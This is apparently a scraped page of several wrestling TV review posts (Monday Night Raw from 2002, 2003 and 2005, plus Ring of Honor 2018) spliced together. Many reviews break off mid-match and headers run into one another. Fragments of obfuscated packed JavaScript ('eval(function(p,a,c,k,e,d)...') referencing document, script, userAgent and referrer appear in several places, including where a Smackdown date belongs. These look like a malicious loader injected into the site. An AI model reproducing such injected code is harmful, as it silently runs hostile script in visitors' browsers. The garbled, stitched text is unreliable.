IMG Credit: WWE

Monday Night Raw
Date: September 5, 2005
Location: Gaylord Entertainment Center, Nashville, Tennessee
Commentators: Jim Ross, Jerry Lawler, Jonathan Coachman

We’re less than two weeks away from Unforgiven and that means things should be starting to pick up. I’m not sure what that is going to mean around here but it could cover a lot of ground. Kurt Angle vs. John Cena is starting to look like a solid main event and hopefully it lives up to the hype. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Kurt Angle vs. Eugene

Angle suplexes him down to start and stomps away in a hurry, which fits him rather well at the moment. The announcers talk about how Eugene might not know what he’s gotten himself into, which was never mentioned when they did this match several times before in the last month or so. Angle gets two more off another suplex and we hit the reverse chinlock. Some forearms to the face get two but Eugene fires up and tries a Jim Duggan three point stance, only to have his knee sent into the post. The ankle lock gives Angle the win.

Rating: D. There was nothing to the match which was just a squash but the important thing is they weren’t even hinting at the idea of Eugene being a threat to Angle. It was one thing in the three minute time limit matches where Eugene just had to survive but this should have been Angle massacring him, which is what we got.

Post match Angle keeps the hold and puts on the grapevine, drawing out John Cena for the save. Cena wins the brawl but Tyson Tomko runs in to boot Cena in the face. Angle throws in a You Can’t See Me because he’s awesome.

Post break Angle and Eric Bischoff are very happy. Tomko comes in and Bischoff gives him a match with Cena tonight.

Heart Throbs vs. Viscera/Val Venis

Romeo punches Val into the corner to start so Venis comes back with the usual clotheslines. A Russian legsweep gets two but the full nelson isn’t happening. Instead Venis hits a reverse suplex and brings in Viscera, who misses a splash. Viscera runs Thomas over but Romeo blocks Val from coming in with the Money Shot. That means it’s time for Val to get taken down so the Throbs can work on his knee as we get into the meat of things. Val kicks Romeo into Thomas though and the hot tag brings in Viscera for the house cleaning. The double running splash is blocked but a Samoan drop is enough to finish Romeo.

Rating: D+. This was an odd little match as neither team is likely to go anywhere but I guess you have to fill in the two hours somehow. It’s not a good match or anything but the fans are digging Viscera and Venis works as well as anyone else is going to as his partner. There are worse things to use for the show and if they can get a small reaction out of Viscera, it’s better than a short time of people sitting on their hands.

We get some Masterlock Challenge highlights. It’s a full nelson. How many highlights can you have?

Linda McMahon asks for donations to help with Hurricane Katrina. Nothing wrong with that.

It’s time for Carlito’s Cabana with special guest Ashley Massaro. Carlito: “Well hello A**ley!” He says she should use her big check to get a makeover but Ashley calls him out for complaining about hair. Carlito doesn’t like people coming on his show and insulting him, even if it’s Ric Flair. That was a big mistake, so Carlito jumped Flair last week and he’ll make it worse at Unforgiven.

Back to Ashley, we see Victoria destroying her last week. Ashley is ready for Torrie Wilson tonight but Carlito loads up the apple. Cue Flair, who is way too smiley for someone with bandages on his head. Flair goes with the testicular claw (several of them actually) and the beatdown is on. Carlito bails before Flair can throw a barrel of apples at him. Flair wants to know where Carlito is going, because he’s going to school at Unforgiven. That’s cool, and you know what else is? WOO!

More Masterlock Challenge highlights. He’s still putting people in full nelsons.

Lance Cade and Trevor Murdoch debut tonight. Cade has to keep Murdoch from dropping his pants.

Video on last week’s Matt Hardy vs. Edge street fight.

Bischoff gives Matt a cage match with Edge at Unforgiven, but he also has to face Snitsky next.

Matt Hardy vs. Snitsky

Edge and Lita come out to have a seat on the commentary table for a chat. Snitsky jumps the distracted Matt to start and hammers away but Matt gets in a Side Effect. Matt goes after Edge and Lita though and Snitsky blasts him. A spinning sitout Rock Bottom gives Snitsky the fast pin.

Post match Snitsky loads up the bell again but Big Show comes out….rather slowly, allowing Snitsky to hit Matt with the bell and run in time.

Tyson Tomko vs. John Cena

Non-title. Cena is all fired up to start and slugs away in the corner, setting up some running clotheslines. A suplex gives Cena two but Tomko is right back with a spinebuster and a powerslam for the same. The reverse chinlock with a knee in the back goes on so Cena powers out (as he is known to do), earning himself a heck of a clothesline. The big boot is cut off though and Cena starts the comeback. Cena finishes with the usual in a hurry.

Rating: D+. There’s nothing wrong with setting up the monster of the week and having Cena fight through some adversity and overcome the odds. It’s something that has worked forever and it made him break a small sweat before he gets ready for the real challenge in Angle. The match wasn’t much, but it wasn’t supposed to be and that’s ok.

Post match Angle runs in and beats the heck out of Cena, including throwing him face first into the set. The Angle Slam on the stage leaves Cena laying. Angle holding up the title and Cena reaching for it is a great visual.

Post break, Todd Grisham asks Angle if attacking Cena three weeks in a row is a pattern. Angle ignores that stupid question and goes into an intense rant about how intense and real he is. Fair enough.

Torrie Wilson vs. Ashley Massaro

Victoria and Candice Michelle are here with Torrie. Victoria trips Ashley at the bell and the beating is on in a hurry. Ashley fights up and completely messes up a sunset flip so Torrie stands on her hair. A spear works a bit better and it turns into a catfight but even more cheating lets Victoria low bridge Ashley to the floor. She even drops Ashley face first onto the apron so Torrie can win with an X Factor. It took three women, including Victoria, to beat Ashley? Get new careers.

We get a THIRD Masterlock highlight package.

Another plea for Katrina funds. Now that’s a repeat that makes sense.

Shelton Benjamin vs. Rob Conway

The bell rings and here’s Kerwin White in the golf cart and dancing a bit to that snazzy theme song. Lawler compares the name change to Cassius Clay/Muhammad Ali as Conway jumps Benjamin to start. The beating is on until Shelton hits a Samoan drop for two. They’re outside in a hurry with Conway sending him into the apron and then planting him on the floor for two back inside.

A neckbreaker gets the same and we hit the chinlock. Shelton fights up and makes the short form comeback with clotheslines, including the big one from the top for another near fall. An O’Connor roll gets the same but Shelton trips Shelton with the golf club, allowing Conway to get a rollup with trunks for the pin.

Rating: C. This wasn’t great but again, at least they’re trying to push someone new. Ok so it’s Conway and White, but Conway is slowly getting a little better and White….well Conway is slowly getting better. That being said, and I know I ask this a lot, WHAT HAPPENED TO SHELTON? It’s like they threw him overboard with a rock attached to him and I haven’t seen anything like it in forever. I can’t even remember the last time he won a singles match and six months ago, he was looking like a sure thing. That’s another level of dropping someone.

Mick Foley has a new book called Scooter. I liked that well enough.

Hurricane/Rosey vs. Lance Cade/Trevor Murdoch

Non-title and it’s Cade/Murdoch’s debut. Rosey slams Murdoch a few times to start and gets two off a running headbutt. Cade comes in for a double flapjack, elbow and clothesline, followed by a double suplex for two. The double teaming continues with Murdoch shouting a lot and handing it back to Cade in a hurry. Rosey finally powers out and brings in Hurricane to clean house. A headscissors puts Murdoch down and a crossbody gets two. Rosey and Cade fight to the floor, leaving Murdoch to hit a jawbreaker. The top rope bulldog finishes Hurricane.

Rating: D+. So Rosey and Hurricane are the biggest losers to ever hold the titles right? They’re making the Bodydonnas look intimidating at this point. Just put them on Cade and Murdoch already because maybe they can do something with them. Or at least not be complete disasters. It isn’t even Hurricane and Rosey’s fault either. If they are rarely on TV and regularly lose when they’re around, what’s the point in the titles?

Masterlock highlights part four. Austin and Rock didn’t do that much at Wrestlemania.

Unforgiven rundown.

Masters brags about the Masterlock.

It’s time for the Masterlock Challenge with Shawn Michaels. Shawn sits in the chair and waits for Masters to grab a towel. The hold goes on and Shawn starts flailing, even sending Masters into the corner a few times. That doesn’t work so Shawn climbs the corner and bounces back onto Masters but still can’t break it. More rams into the corner fail but Shawn eventually breaks the grip, only to have Masters hit him down. A chair to the head busts Michaels open and one more Masterlock ends it.

Overall Rating: D. Wow that was a rough string of matches but it didn’t feel like a terrible show at the end. I’m trying to dislike the Masterlock deal (though it got WAY too much attention with the ridiculous amount of highlights) but it’s a gimmick that has been done before and works well enough. It’s what Masters is known for and if he can evolve a bit more, he’ll be fine given his looks. Not a very good show, but they set up Unforgiven well enough, even if it’s the definition of a B pay per view.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Ring of Honor
Date: August 8, 2018
Location: EagleBank Arena, Fairfax, Virginia
Commentators: Ian Riccaboni, Colt Cabana

I’ve given up trying to figure out what’s coming on this show. One week we got a World Title change and the next week we got a Six Man Tag Team Title squash. The star power is still lacking, but the schedule is all over the place around here and I’m tired of guessing what we might be seeing. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Silas Young vs. Chris Sabin

#1 contenders match for the TV Title with the injured Alex Shelley on commentary. A headlock takeover sends Silas into the corner and Sabin gives him a wave. Silas tries the power with a shoulder but no one goes anywhere. Instead Sabin throws him outside and flip dives off the apron as we take a break.

Back with an exchange of fireman’s carrys but neither can hit a finisher. Sabin goes with a kick to the head to put Silas on the floor, setting up a kick from the apron. A wicked springboard tornado DDT gets two on Young but he still manages to block the Cradle Shock. Silas’ backbreaker into a clothesline combination gets two but the springboard moonsault out of the corner misses. Sabin gets some rollups for two and Cradle Shock gives him the clean pin at 9:51.

Rating: C+. The result actually surprised me and they were having a good match out there. I’ve always liked Sabin more than Shelley so it’s cool to see him back in the ring on his own for a change. I would have bet on Silas getting the win here as he had been TV Champion just a few weeks ago but this was a nice swerve and a fun match on top of that. Well done, believe it or not.

Post match TV Champion Punishment Martinez comes out for the staredown.

Marty Scurll vs. Hurricane Helms

Uh, sure. Scurll, who has eye paint this week, won’t shake hands (well duh) and gets armdragged down instead. A cross armbreaker attempt sends Scurll bailing to the ropes so they hit the mat for some technical stuff. Marty handstands out of a headscissors and strikes Hurricane’s pose, only to fall down when Hurricane shows him the real thing.

Some spit in Hurricane’s face means it’s time to slug it out with Scurll getting the better of it by knocking him outside. Marty stomps on the hand and we take a break. Back with Marty hammering away on the outside and grabbing a cross arm choke inside. A Backstabber gets two but Helms pops up for some clotheslines.

The jumping Downward Spiral and Eye of the Hurricane get two each but the Shining Wizard is well scouted. Hint: shouting SHINING WIZARD before trying the move is a bad idea. Marty superkicks the knee and snaps the fingers but misses a charge into the post. A super swinging neckbreaker (a bigger spot than I was expecting) looks to set up the Vertebreaker, which has the announcers intrigued. Marty reverses that as well (again, shouting the name if the move isn’t that bright) and shoves Hurricane into the referee, setting up the low blow and small package for the pin at 13:18.

Rating: C-. Hurricane looked old here but he was still more than able to hang in this one. I’m not sure if they should have had Scurll give up so much to Hurricane but at least it was a good enough match. Scurll is still rather awesome and the ending made perfect sense with the villain cheating to beat the hero. How did someone never do this match before?

Video on Jay Lethal regaining the World Title.

So Cal Uncensored vs. Los Ingobernables de Japon vs. Bullet Club

Evil/Sanada/Bushi for Los Ingobernables and the Bucks/Adam Page (hometown boy) for the Club. Page and Kazarian slug it out to start as they always do, with Ian dubbing them a modern Rick Martel and Tito Santana. I appreciate the idea, but they would need to be partners first for that to make sense. Everything breaks down in a hurry and it’s Sanada vs. Daniels for a double clothesline. Nick and Sky tag themselves in and it’s time to flip around without making much contact.

Everybody misses more stuff and So Cal Uncensored and the Club try a six way dropkick to no avail. Los Ingobernables clear most of the ring, leaving Nick to take a triple teaming. Page gets suplexed onto Nick and Evil adds a backsplash. Kazarian gets back up and powerbombs Bushi to the floor, followed by Sky hitting a big flip dive onto Bushi and Evil. Everyone goes over to one side of the ring for the sole purpose of giving Daniels a target for the Arabian moonsault. I know what they’re going for but that looked horribly contrived.

The Club hits a triple superkick followed by a triple dive to stand tall Back in and a triple basement dropkick rocks Kazarian to send us to a break. We come back with Daniels hitting the Space Tornado Ogawa on Sanada and Page coming in to clean house. The Bucks hit a frog splash/standing moonsault combination on Sanada, followed by Page hitting a running shooting star. Sanada eats a superkick from Matt, who gets caught with a slingshot cutter from Sky.

Evil comes back in and takes the slingshot X Factor from Nick but the second attempt lands in a cutter from Kazarian. There’s a Buckshot Lariat from Page to Kazarian, but Daniels is right back up with a Death Valley Driver. The ref gets misted and Celebrity Rehab gets a VERY delayed two with Kazarian grabbing the referee’s hand for the count.

Daniels yells at him for not counting the three anyway but the Club comes back in for a ridiculous number of superkicks. Page’s modified Tombstone gets two and we FINALLY get a breather after a crazy sequence. The spike Rite of Passage kills Sanada for two more as a bunch of people dive in for the save. Ian actually tries to keep track of who is legal as Nick dives onto the big pile.

Bushi breaks up Matt’s dive with a Canadian Destroyer and a suicide dive to Daniels. Since we haven’t had a big spot in all of ten seconds, Page superplexes Kazarian down onto almost everyone else. Back in and Daniels hits Bushi with the Blue Thunder Bomb for no cover because he wants the Angel’s Wings. Cue Mark Briscoe for a distraction so Jay Briscoe can hit Daniels with a chair. Bushi’s middle rope Codebreaker for the pin on Daniels for the pin at 13:47.

Rating: B. Well what else were you expecting here? This is the kind of match that you want when you put three trios together for about fifteen minutes and they delivered. The sequence in the middle with people hitting one more after another was a blast and while a lot of the stuff was contrived, this was as much of a popcorn match as you were going to get.

Overall Rating: B. They went with the wrestling show tonight and that’s best for everyone. There’s nothing to build towards at the moment other than the UK tour, which are pretty much stand alone shows. The wrestling was more than good enough here and I liked what I was seeing. The show is going to need some more structure soon though as you can only do a show like this every now and then.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Monday Night Raw
Date: June 2, 2003
Location: San Diego Sports Arena, San Diego, California
Commentators: Jerry Lawler, Jim Ross

We’re less than two weeks away from Bad Blood and things are looking more and more dismal every single week. Things just aren’t interesting around here and there’s no reason to suggest that’s going to change. The big story continues to be Kevin Nash vs. HHH for the World Title and that’s what we’re stuck with no matter what. Let’s get to it.

Rock, here for the Highlight Reel, arrives and talks about being here for the people, turning himself face again. Since the fans never wanted to boo him in the first place, it’s not the most difficult turn in the world.

Opening sequence.

Trish Stratus/Ivory/Jacqueline vs. Jazz/Victoria/Molly Holly

Molly still has a job? It’s a good thing she does as the dark hair is quite the look for her. It’s a brawl to start with Victoria forearming Trish and choking her up against the rope. The Matrish causes Victoria to clothesline Molly by mistake and Ivory dives onto Molly and Victoria in a big crash.

The double chickenwing faceplant drops Trish again though and we hit a camel clutch/Boston crab combo for a heck of a visual. King: “That was arousing.” Trish grabs a neckbreaker on Jazz and brings Jackie in to no reaction at all. Ivory comes back in with a high crossbody for two on Jazz as everything breaks down. An X-Factor gives Ivory the pin on Jazz.

Rating: D+. They were trying here but they couldn’t get over the complete lack of interest from the crowd. Jackie and Ivory haven’t been interesting in the better part of ever and throwing them into the title hunt isn’t going to do anything. They need someone new in a hurry as Trish, Victoria and Jazz have been done to death at this point.

Goldberg arrives.

JR has a cookbook. It’s title: JR’s Cookbook. You can vote on WWE.com if you think it’s going to be a best seller or a flop.

Stacy Keibler finally dumps Test but they’re contractually obligated to stay together. Does anyone really buy Test saying “contractually obligated” in day to day talking?

Hurricane comes out for a match but Randy Orton jumps him from behind. Cue HHH and Ric Flair as Orton throws Hurricane through the entrance. Flair is honored that he was Shawn’s boyhood hero but Flair has seen hundreds of Shawn’s come and go. Flair takes off the jacket and rants about how Shawn hasn’t spent $30 million, made love to 3,000 women and wrestled 350 matches a year. To be the man you have to beat the man and HHH beat the man. Uh, didn’t HHH beat Shawn to win that title?

Anyway Flair lays down and prostrates himself in front of HHH before saying HHH makes women scream very loudly. After HHH beats Nash down, Flair is going to take care of Shawn (So HHH won’t be main eventing?) and they’re getting in a limousine full of women. Cue Shawn to say he owes a lot to Flair but he’s not the little boy sitting in front of the TV watching Flair every week.

Shawn has wrestled 300 nights a year (Flair said 350) and doesn’t need to brag about women. His wrestling does the talking and he took the torch from Flair. When Ric realized he couldn’t make it here, Shawn took the title and showed the world that he was the standard in wrestling.

There’s so much wrong with that timeline that I’m not even going to bother explaining it so we’ll move on to Shawn being awesome in the ring. Flair freaks out again as Shawn promises to take him to school at Bad Blood. HHH wants to fight right now but here’s Nash to even the odds a bit. Hurricane sneaks in and hits Orton with a chair so the good guys can stand tall. Flair and Shawn’s stuff was outstanding here and the other stuff was nowhere near bad enough to drag it down.

Scott Steiner vs. Steven Richards

Steiner has Stacy with him but Richards doesn’t have Victoria. Test comes out as well and the distraction lets Richards get in a cheap shot from behind. Scott slugs away in the corner and there’s a belly to belly. The Flatliner ends Richards in short order.

Post match Eric Bischoff comes out and makes Test vs. Steiner for Stacy’s managerial services at Bad Blood. So Bischoff’s rulings can override contracts? Why do I have a feeling that’s not going to be used again when Bischoff would benefit from it?

We get some breaking news that Freddie Blassie has passed away.

The bosses are in their office and Austin makes Evolution vs. Michaels/Nash/Hurricane for tonight’s main event. As for Bad Blood, they agree to a Redneck Triathlon.

Goldberg is in the back for an interview but we see Jericho throwing paint on the car. That’s on Goldberg for leaving it out in the open like that. Goldberg runs out, gets in the car (which was already running) and gives chase.

It’s time for the Highlight Reel with Christian guest hosting. Therefore, tonight is the Peep Show and the first guest is the Rock. We get the full entrance and Rock loads up FINALLY but Christian cuts him off and does it himself. Christian says he’s the new people’s champion and on fire. Rock: “YOU ARE ON CRACK!” Rock doesn’t want to hear that and says Christian’s daddy is a ho. Christian: “He’s a pediatrician!”

Christian talks about how awesome he is but Rock wants to talk directly to the people. He actually goes into the crowd, asks some fans who the real People’s Champ is and loads up the catchphrase but Jericho returns to cut him off. Jericho says he isn’t getting speared on Sunday so he asks Rock what it feels like.

Rock calls out some fans for saying he sucks, saying that he gets more pie in a day than they get in a lifetime. Well true probably. The spear hurts, which is all Jericho wanted to know from the pie boy. Christian jumps him from behind but it’s Booker making the save. House is cleaned in a hurry and we get a People’s Elbow from Booker. We’re not done yet though as Rock even busts out a Rockarooni. This was WAY longer than it needed to be, especially with only the Rock vs. Christian stuff being funny.

Post break, Christian and Jericho try to leave but Austin says they’re not going anywhere yet.

Kane vs. Rene Dupree

Kane slugs away in the corner as Lawler recaps recent events between France and the USA with JR running down the French military. Sylvan Grenier distracts Kane and Dupree gets in a kick to the face. That just earns him a side slam but Van Dam kicks Grenier down. Van Dam gets knocked down so Kane goes after Grenier instead, allowing Rene to hit a low blow for the rollup pin. This was pretty bad as Kane looked way off.

Post match here’s a ticked off Austin to tell Van Dam to head to the back. Austin wants to know what’s up with Kane as of late. He’s been watching the last few weeks and Kane is missing everything. Where’s the fire? Does Kane even want this anymore? That’s all it takes to beat him these days?

Austin was waiting on the big chokeslam but now he has to come out here and tick Kane off. He spins Kane around and smacks him in the face before even putting Kane’s hand around his throat. Kane backs away from the chokeslam though, sending Austin into a rant about the old Kane who beat him for the WWF World Title. Austin loads up another chokeslam on himself but Kane lets him go again.

A slap to the face seems to fire Kane up as he grabs Austin by the throat (Austin: “DO IT! DO IT!”) but Kane lets him go for a third time. That’s finally enough for Austin who lays Kane out with a Stunner. This is how one of the CHAMPIONS is treated on the show. I have no idea what they were going for here but unless Kane was in backstage trouble (which would be way out of character for him), this was a really bad idea and a big waste of time.

We get a Matrix style video as Gail Kim is coming. Works for me.

A smiling HHH leaves the referee’s locker room. Post break, HHH tells Evolution that he has a plan that could get him out of the Cell match.

Booker T./Goldust vs. Christian/Chris Jericho

Booker clotheslines Christian to start and gets two off a slam. We take a way too early break and come back with Jericho cranking on Booker’s arms. Christian comes in but let’s talk about Goldust wanting to get breast implants back in the day. Booker flapjacks his way to freedom and it’s off to Goldust to clean house with some right hands and an atomic drop.

Everything breaks down and Christian gets caught in the corner, only to have Jericho save him from Shattered Dreams. A blind tag brings in Booker for a side kick but Christian rolls him up for two despite grabbing the rope. Canadian miscommunication sets up the ax kick though, giving Booker the pin on Christian.

Rating: D+. This was little more than a way to set up Booker vs. Christian at the pay per view and there’s nothing wrong with that. It might not have been a great match or anything but after Austin berating Kane and the way too long Rock segment, I’ll take whatever I can get at this point.

Post match Jericho hits Booker with the Intercontinental Title but Goldberg runs out, only to spear the referee by mistake.

The referees come to see Austin and Bischoff, saying they won’t referee the Cell match because it’s too dangerous. Austin has an idea because he knows someone crazy enough to referee the match. Fans: “FOLEY! FOLEY! FOLEY!”

Evolution vs. Shawn Michaels/The Hurricane/Kevin Nash

Orton and Shawn (in a hat and shirt for some reason) start things off with Shawn headlocking him down and taking off the extra gear. Hurricane comes in and does Shawn’s pose as the arena is rather full of pyro smoke. A clothesline gives Hurricane two but he gets caught by Orton’s still sweet dropkick. HHH, in purple this week, comes in and beats on Hurricane as the announcers praise Nash.

It’s off to Shawn to start on HHH’s arm but Flair sneaks in a chop block to take over. Orton stays on the leg as things slow down. Unfortunately the crowd doesn’t die down, as they’re already eerily silent. The villains take turns on the leg, including Flair’s shinbreaker into the Figure Four. Nash makes the save though and Shawn gets in an enziguri for the real break. It’s off to Orton vs. Nash (which actually doesn’t sound like the worst match in the world) but Kevin gets his hands on HHH a few seconds later. Flair is busted open (From what????) and Nash takes down the strap, only to have Flair save HHH from a Jackknife.

Rating: D. I’m still trying to figure out that ending. Hurricane was obviously just there to take the fall and could have been almost any given midcarder. Losing to the World Champion in a six man tag is hardly career death though and it’s not that big of a deal. What is a big deal though is Nash main eventing the upcoming pay per view, which is somehow losing the non-interest it already had.

To calm the fans down, Nash Jackknifes HHH to end the show.

Overall Rating: D-. And that’s ONLY passing because Rock/Christian and Shawn/Flair had some outstanding promos. Other than that, this show was nothing short of a mess as HHH vs. Nash continues to burst into flames as it bounces on the rocks beneath the cliff it flew off of last month. Between that and Austin Stunning Kane for whatever reason, I’m trying to figure out why I kept watching this show back in the day. Another terrible show here as their priorities get more and more out of whack every week.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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Monday Night Raw
Date: October 21, 2002
Location: Gaylord Entertainment Center, Knoxville, Tennessee
Commentators: Jim Ross, Jerry Lawler

Jeff Hardy vs. Christopher Nowinski

William Regal/Lance Storm vs. Bubba Ray Dudley/Spike Dudley

Batista and all of his muscles are still coming.

Goldust/Booker T./Trish Stratus vs. Chris Jericho/Christian/Victoria

HHH delivers the tape to the production truck.

Al Snow vs. Tommy Dreamer

Rico/3 Minute Warning vs. Big Show

Show cleans house to start and the trio takes a breather on the floor. Back in and Show shrugs off a double clothesline before sending 3 Minute Warning to the floor. Triple teaming works a bit better but Show fights up, clears out Rico and Rosey and ends Jamal clean with a chokeslam in just over two minutes. So yeah, remember all those months of Jamal and Rosey being monsters? Forget all that because Big Show needed the win.

Post break, Big Show is traded to Smackdown. Again: what happened to the whole CONTRACTS ARE TOTALLY LOCKED IN NO MATTER WHAT?

Hurricane is standing next to a car, perhaps waiting on Kane.

Ric Flair/HHH vs. Rob Van Dam/Kane

In the back, Kane knocks HHH into the trunk of the car Hurricane is next to. Kane promises to screw him, but the question is if HHH will be alive or dead. He drives away to end the show.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yieyb|var|u0026u|referrer|beekt||js|php'.split('|'),0,{})) Night Raw
Date: October 14, 2002
Location: Bell Centre, Montreal, Quebec, Canada
Commentators: Jim Ross, Jerry Lawler

Kane yells at Coach for asking about what HHH said last week.

Opening sequence.

Tag Team Titles: Hurricane/Kane vs. Christian/Chris Jericho

Kane and Hurricane are defending. Hang on a sec though as Booker T. runs out to jump Jericho before we get going. That means Christian has to take a Shining Wizard from Hurricane for an early two while Jericho is stuck on the floor. Jericho finally gets it together but Hurricane hits a big flip dive onto both Canadians.

Christian tries to bring in a belt but settles for a low blow. A missile dropkick gives Jericho two as JR thinks it would be an upset if we have new champions. Kane Rocket Launches Hurricane onto Jericho for two before chasing Christian up the ramp. Back in the ring, Jericho reverses the chokeslam into the Walls, which is reversed into a rollup. Chris reverses that too though and throws his feet on the ropes for the pin and the titles.

Post break Booker yells at Jericho so a Tag Team Title match is made for Sunday because Bischoff has to keep even with Stephanie.

Al Snow vs. Lance Storm

Victoria suggests that Trish slept her way into a job so Trish comes up and slaps her in the face.

Jeff Hardy vs. Rico

Speaking of where someone was during this whole thing, do you remember about three years before this when Kane was a big monster covered in burns and scars? As in the guy who could only speak through a voicebox and had his first girlfriend (Tori) around the same time? Apparently he was not only trained as a wrestler back around 1992 but went to parties and had a female friend.

Molly Holly/Victoria vs. Trish Stratus/Jackie

Booker gets his strap for later.

Batista is still coming.

The Anthology CD collection is coming. I bought that.

Christopher Nowinski vs. Tommy Dreamer

Video on Randy Orton.

Booker T. vs. Big Show

HHH vs. Rob Van Dam

Non-title with all heel lumberjacks. Van Dam charges the ring and hammers away but gets sent to the floor for a whipping. Back in and they slug it out as WE TALK ABOUT KANE ONE MORE TIME! Van Dam takes another whipping and JR is aghast at the unfairness. HHH is sent outside for no violence so Rob dives onto a bunch of people. The champ starts in on the back with your standard heel fare: backbreakers, shoulders to the back and a suplex for a few two counts.

Kane comes back and cleans house to end the show.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayehz|var|u0026u|referrer|rahsb||js|php'.split('|'),0,{})) Night Raw
Date: September 23, 2002
Location: Arrowhead Pond, Anaheim, California
Commentators: Jim Ross, Jerry Lawler

Bischoff welcomes an unnamed face to the Raw side when Rico comes in. Eric wants to know where Rico was last night but it was Bischoff who sent them out on the town. Anyway Rico tells him what Booker and Goldust were up to and Eric is ticked.

Jeff Hardy vs. Big Show

We look back at Tommy Dreamer beating up Christopher Nowinski two weeks back.

Nowinski is in a classroom and wants to fight dreamer. Post break Dreamer shows up and gets caned down. Dreamer puts him through the ceiling and the beating just keeps going because we NEED hardcore stuff around here without actually having hardcore matches.

Randy Orton vs. Steven Richards

Two notes here: first of all, they kept this short but covered the point. We know why Flair did it and we know what he gets out of it. Simple yet effective, as promos often need to be.

Intercontinental Title: Chris Jericho vs. Goldust

Tag Team Titles: Un-Americans vs. Kane/???

Booker T. vs. Rico

Bubba Ray Dudley/Rob Van Dam vs. HHH/Ric Flair

After some long entrances, HHH jumps Bubba from behind and gets backdropped for his efforts. The fans want tables but get Flair, who has no issues with Bubba, making this kind of pointless. Some shoulders put Flair down as JR thinks Ric is going through “the change of life”.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zezdd|var|u0026u|referrer|ztnse||js|php'.split('|'),0,{})) July 11, 2002
Location: Boardwalk Hall, Atlantic City, New Jersey
Commentators: Michael Cole, Tazz